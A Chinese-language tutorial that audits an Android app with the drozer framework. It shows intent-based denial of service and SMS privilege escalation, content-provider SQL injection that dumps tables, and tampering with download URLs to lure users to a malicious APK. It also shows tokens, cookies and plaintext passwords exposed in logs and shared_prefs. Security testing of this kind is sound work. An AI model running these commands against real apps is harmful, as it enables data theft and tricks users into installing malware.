Android 开源审计框架 drozer

-- APP 安全测试入门

Xbalien

2014/7/31

一.利用 drozer 查看可以攻击的脆弱点（暴露组件）：

1、 查看 Attack Surface:
run app.package.attacksurface

```
dz> run app.package.attacksurface com.package.name

Attack Surface:
   8 activities exported
   2 broadcast receivers exported
   2 content providers exported
   0 services exported
```

2、获取 app 信息：
run app.package.info

```
dz> run app.package.info -a com.package.name

Package: com.package.name
   Application Label: app.name
   Process Name: com.package.name
   Version: 4.0
   Data Directory: /data/data/com.package.name
   APK Path: /data/app/com.package.name-1.apk
   UID: 10004
   GID: [1015, 3003]
   Shared Libraries: null
   Shared User ID: null
   Uses Permissions:
   - android.permission.BAIDU_LOCATION_SERVICE
   - android.permission.ACCESS_NETWORK_STATE
   - android.permission.WRITE_EXTERNAL_STORAGE
   - android.permission.INTERNET
   - android.permission.INSTALL_PACKAGES
   - android.permission.VIBRATE
   - android.permission.READ_PHONE_STATE
   - android.permission.KILL_BACKGROUND_PROCESSES
   - android.permission.ACCESS_WIFI_STATE
   - android.permission.WRITE_SETTINGS
   - android.permission.ACCESS_COARSE_LOCATION
   - android.permission.ACCESS_FINE_LOCATION
   - android.permission.SYSTEM_ALERT_WINDOW
   - android.permission.SYSTEM_OVERLAY_WINDOW
   - android.permission.RECORD_AUDIO
```

```
  - android.permission.WAKE_LOCK
  - android.permission.CHANGE_WIFI_STATE
  Defines Permissions:
  - android.permission.BAIDU_LOCATION_SERVICE
```

二.intent 组件触发（拒绝服务、权限提升）

利用 intent 对组件的触发一般有两类漏洞，一类是拒绝服务，一类的权限提升。拒绝服务危害性比较低，更多的只是影响应用服务质量；而权限提升将使得没有该权限的应用可以通过 intent 触发享有该权限的应用，从而帮助其完成越权行为。

1.查看暴露的广播组件信息：
run app.broadcast.info

```
dz> run app.broadcast.info -a com.package.name -i

Package: com.package.name
  Receiver: com.package.name.receiver.AlarmReceiver
    Intent Filter:
      Actions:
        - wisorg.intent.action.PUSH_MESSAGE
    Intent Filter:
      Actions:
        - android.intent.action.DOWNLOAD_NOTIFICATION_CLICKED
        - android.intent.action.DOWNLOAD_COMPLETE
    Intent Filter:
      Actions:
        - wisorg.intent.action.alarm
        - wisorg.intent.action.BOOT
    Permission: null
  Receiver: com.package.name.receiver.BootReceiver
    Intent Filter:
      Actions:
        - android.intent.action.BOOT_COMPLETED
    Permission: null
```

2.尝试拒绝服务攻击检测，向广播组件发送不完整 intent（空 action 或空 extras）：
run app.broadcast.send

(1)空 action

```
dz> run app.broadcast.send --component com.package.name
com.package.name.receiver.AlarmReceiver
dz> run app.broadcast.send --component com.package.name
```

```
com.package.name.receiver.BootReceiver
```

(2)空 extras

```
dz> run app.broadcast.send --action wisorg.intent.action.PUSH_MESSAGE
```

ANR，Caused by: java.lang.NullPointerException，发现存在一处拒绝服务

3.尝试权限提升

权限提升其实和拒绝服务很类似，只不过目的变成构造更为完整、更能满足程序逻辑的 intent。由于 activity 一般多于用户交互有关，所以基于 intent 的权限提升更多针对 broadcast receiver 和 service。与 drozer 相关的权限提升工具，可以参考 IntentFuzzer，其结合了 drozer 以及 hook 技术，采用 feedback 策略进行 fuzzing。以下仅仅列举 drozer 发送 intent 的命令：

```
run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS
```

三.provider 泄露与污染检测

Content provider 允许将自身数据分享给外部应用使用，但有些数据（隐私数据、程序设置等）不应该对第三方应用共享，因此，此类的 provider 应该将暴露禁止，如果要将这类数据共享给自身组件或者开发者开发的应用，最好加入适当的权限控制，并将权限级别设置为 signature 级别。而在现实开发环境中，开发者可能没有意识到这点，因此经常讲这类数据暴露给第三方应用，本节针对 provider 存在的隐患进行审计。

1.查看 provider 信息

run app.provider.info

```
dz> run app.provider.info -a com.package.name

Package: com.package.name
  Authority: com.package.name
    Read Permission: null
    Write Permission: null
    Content Provider: com.package.name.provider.PlatformProvider
    Multiprocess Allowed: False
    Grant Uri Permissions: False
  Authority: com.package.name.downloads
    Read Permission: null
    Write Permission: null
    Content Provider: com.wisorg.providers.downloads.DownloadProvider
    Multiprocess Allowed: False
    Grant Uri Permissions: False
```

可以看出该 app 的 provider 都没有设置权限，如果设置权限只要不是 signture 级别的，可以通过 drozer agent build -p permission 加入权限继续实现安全测试

2.可利用 drozer 查看存在可能存在 SQLite 注入的 uri，存在注入即有存在被泄露和污染的可能
run scanner.provider.injection

```
dz> run scanner.provider.injection -a com.package.name

Scanning com.package.name...
Not Vulnerable:
   content://com.android.contacts/
   content://com.package.name
   content://com.package.name.downloads
   content://com.android.contacts
   content://com.package.name.downloads/
   content://com.package.name/

Injection in Projection:
   content://telephony/carriers/preferapn/
   content://com.package.name/favorites?notify=true/
   content://com.package.name/favorites?notify=true
   content://com.package.name/favorites?notify=false/
   content://telephony/carriers/preferapn
   content://com.package.name/favorites?notify=false

Injection in Selection:
   content://telephony/carriers/preferapn/
   content://com.package.name/favorites?notify=true/
   content://com.package.name/favorites?notify=true
   content://com.package.name/favorites?notify=false/
   content://telephony/carriers/preferapn
   content://com.package.name/favorites?notify=false
```

3.尝试简单的注入
run app.provider.query

```
dz> run app.provider.query content://com.package.name/favorites?notify=false
--projection """

unrecognized token: "' FROM favorites": , while compiling: SELECT ' FROM favorites
```

```
dz> run app.provider.query content://com.package.name/favorites?notify=false
```

```
--selection """

unrecognized token: "')": , while compiling: SELECT * FROM favorites WHERE (')
```

由于暴露了两个 provider，按理来说应该都能访问，可是 drozer 毕竟只是动态测试的工具，难免路径覆盖不全，静态分析了一下 download provider，看到如下：

```
private void managerUri(Context paramContext)
{
  Log.v("ddd", "managerUri packagename = " + paramContext.getPackageName());
  String str = paramContext.getPackageName() + ".downloads";
  sURIMatcher.addURI(str, "my_downloads", 1);
  sURIMatcher.addURI(str, "my_downloads/#", 2);
  sURIMatcher.addURI(str, "all_downloads", 3);
  sURIMatcher.addURI(str, "all_downloads/#", 4);
  sURIMatcher.addURI(str, "my_downloads/#/headers", 5);
  sURIMatcher.addURI(str, "all_downloads/#/headers", 5);
  BASE_URIS[0] = Helpers.getContentUri(str);
  BASE_URIS[1] = Helpers.getAllDonwloadContentUri(str);
}
```

根据此可以自己拼接出 uri：
content://com.package.name.downloads/my_downloads
content://com.package.name.downloads/all_downloads

```
dz> run app.provider.query content://com.package.name.downloads/my_downloads
--projection """

unrecognized token: "' FROM downloads": , while compiling: SELECT ' FROM
downloads
```

```
dz> run app.provider.query content://com.package.name.downloads/all_downloads
--projection """

unrecognized token: "' FROM downloads": , while compiling: SELECT ' FROM
downloads
```

4.根据查询模式构造我们需要的 SQL 语句获取信息（provider 泄露）
run app.provider.query

```
dz> run app.provider.query content://com.package.name/favorites?notify=false
--projection "* FROM SQLITE_MASTER WHERE type='table';--"

| type  | name                | tbl_name            | rootpage | sql
|
| table | android_metadata | android_metadata | 3        | CREATE TABLE
```

```
android_metadata (locale TEXT)
|
| table | favorites | favorites | 4 | CREATE TABLE favorites ( _id INTEGER PRIMARY KEY, app_id INTEGER,title TEXT,icon_url TEXT,install_url TEXT,open_url TEXT,run_type INTEGER,operate_type INTEGER,index_order INTEGER,unread_num INTEGER) |
```

通过这样的注入语句可以知道各个表对应的列，根据该列属性我们可以进行数据的过滤以及对应的更新插入操作

下边查看的是 app_id,title,install_url,open_url 这 4 个比较感兴趣的列数据（当然可以直接*获取全部数据）

```
dz> run app.provider.query content://com.package.name/favorites?notify=false --projection "app_id" "title" "install_url" "open_url"

| app_id | title | install_url | open_url |
| 163626 | 讲座报告 | http://file.web.site.cn/fs/app-pkg/260932 | scc://wisorg.com/Hybird/res/jzbgBak/index.html |
| 11 |大大要闻 | null | scc://wisorg.com/news |
| 13 | 通知文件 | null | scc://wisorg.com/annc |
| 15 | 微博聚合 | null | scc://wisorg.com/weibo |
| 27 | 市内公交 | http://file.web.site.cn/fs/app-pkg/265321 | scc://wisorg.com/Hybird/res/citybus/index.html |
| 284420 | 意见反馈 | null | http://m.web.site.cn/html/yjfk/1.html |
| 29 | 电子邮件 | null | http://web.site.cn/coremail/xphone/index.jsp |
| 28 | 工资查询 | http://file.web.site.cn/fs/app-pkg/260935 | scc://wisorg.com/Hybird/res/salary_tea/index.html |
```

Tips:通过这次查询，我们看到 favorites 表存放的是 app 下载地址以及下载主页，在该 app 中可以通过添加应用丰富内容，相比就是根据这里的链接来寻找的，试想下那么如果污染这些链接将有可能诱导用户下载恶意 apk

以下内容是查看 downloads 表中的几个属性，详细信息可以通过*完成，以下查询大概能获取到已经添加的应用

```
dz> run app.provider.query content://com.package.name.downloads/my_downloads --projection "_data" "title"
```

```
| _data                                  | title          |
| /mnt/sdcard/download/265321.bin |  市内公交  |
| /mnt/sdcard/download/260932.bin |  讲座报告  |
```

Tips:通过查询该表，可以查看到用户之前添加的所有应用，可以以此了解用户习惯，同时也可以将攻击目标转向已添加的应用中

5.尝试下 provider 污染

查看到了数据显然不够，既然该 provider 没有限制写入权限，那么可以尝试针对 content://com.package.name/favorites?notify=false 进行数据污染。下面尝试污染 install_url 以及 open_url(分别污染 app_id = 27,app_id = 28)，对应地址改为 http://dl-count.xposed.info/modules/de.robv.android.xposed.installer_v33_36570c.apk 以及 http://www.baidu.com ，通过 update 操作可以完成
run app.provider.update

```
dz> run app.provider.update content://com.package.name/favorites?notify=false
--selection "app_id = 27" --string install_url
http://dl-count.xposed.info/modules/de.robv.android.xposed.installer_v33_36570c.a
pk
```

```
dz> run app.provider.update content://com.package.name/favorites?notify=true
--selection "app_id = 28" --string open_url http://www.baidu.com
```

分别查看对应 app_id = 27 以及 app_id = 28 是否更新成功：
run app.provider.query

```
dz>  run  app.provider.query  content://com.package.name/favorites?notify=false
--projection "app_id" "title" "install_url"   --selection "app_id = 27"

|     app_id     |     title                                |     install_url
|
|      27                          |      市     内     公     交          |
http://dl-count.xposed.info/modules/de.robv.android.xposed.installer_v33_36570c.a
pk |
```

```
dz>  run  app.provider.query  content://com.package.name/favorites?notify=false
--projection "app_id" "title" "open_url"   --selection "app_id = 28"

|  28           |  工 资 查 询   |  http://file.web.site.cn/fs/app-pkg/260935
| http://www.baidu.com
```

更新成功，开始尝试测试被污染的数据是否带有恶意性，经过测试，修改的 install_url 并不起作用，添加应用会跳转到 open_url 指向的链接，因此 open_url 已经控制了添加 APP 的下载地址。所以只能通过修改 open_url 诱导用户，测试中 open_url 为百度这时候，点击软件跳转到了百度页面，测试了一个 APK 链接会跳转到浏览器下载，如果伪装得较好可以诱导用户下载恶意 apk

四.app 日志泄露

在程序开发阶段 Log 能帮助开发者更好的进行调试，但是有的开发者安全意识较为薄弱，一些调试时候的信息在发布时候可能没有去除。而这些 log 也许就包含了一些程序的关键流程或者在程序过程中比较隐私的数据，从而导致隐私泄露。Log 何以利用 DMSS 可以看到，该 app 泄露了访问的 url 还有 token 以及 cookie:

```
Request url [http://xxx/service/oIdentityService] in 318 ms
check has head token = ae388eb83d2d98275267708d69f2c14f8b2a7f45
headToken =
SCC_ST=ae388eb83d2d98275267708d69f2c14f8b2a7f45;SCC_AT=1105191788e131e
598ed9c21b41f3ddd6477f4988375fbcfe3
request:http://xxx/service/oMessageService
clientHeaderMap:{Content-Type=application/x-thrift,
Cookie=SCC_ST=ae388eb83d2d98275267708d69f2c14f8b2a7f45;SCC_AT=11051917
88e131e598ed9c21b41f3ddd6477f4988375fbcfe3}
```

五.敏感文件存储泄露

root 后的设备可以查看 app 私有数据，shared_prefs 和 databases，其中 shared_prefs 可能存放一些配置信息，可利 drozer 的 shell 命令进入 shell：

```
dz> shell
app_18@android:/data/data/com.mwr.dz $ su
cd ..
cd com.package.name
cd shared_prefs
ls
MapSerializable.xml
preference_configs.xml
login_sp_label.xml
scc.prefs.xml
```

cat preference_configs.xml，可以看到用户名密码是明文保存的：

```
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
```

```
<boolean name="PREFERENCE_MAIN_ACTIVITY_LOAD" value="true" />
<string name="smcp_user_password_key">123456</string>
<boolean name="launcher_user" value="true" />
<long name="unread_count_message" value="0" />
<string name="smcp_user_name_key">N111111</string>
</map>
```

该 app 把登录用到的 token 保存在 scc.prefs 文件中，cat　scc.prefs.xml 可以看到：

```
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
……
<boolean name="LOGIN_STATE" value="true" />
<string name="SCC_ST">ae388eb83d2d98275267708d69f2c14f8b2a7f45</string>
</map>
```

六.数据通信安全

需要抓包分析，一般采用 tcpdump + nc + wireshark 通过管道将 3 者结合起来实现实时数据包分析

七.webview 检测

Webview 远程执行漏洞可以采用静态特征 addJavascriptInterface + target SDK < 17 作为特征进行检测，确认可能存在漏洞后，可以利用 drozer 的 Exploits 模块实现对 webview 的利用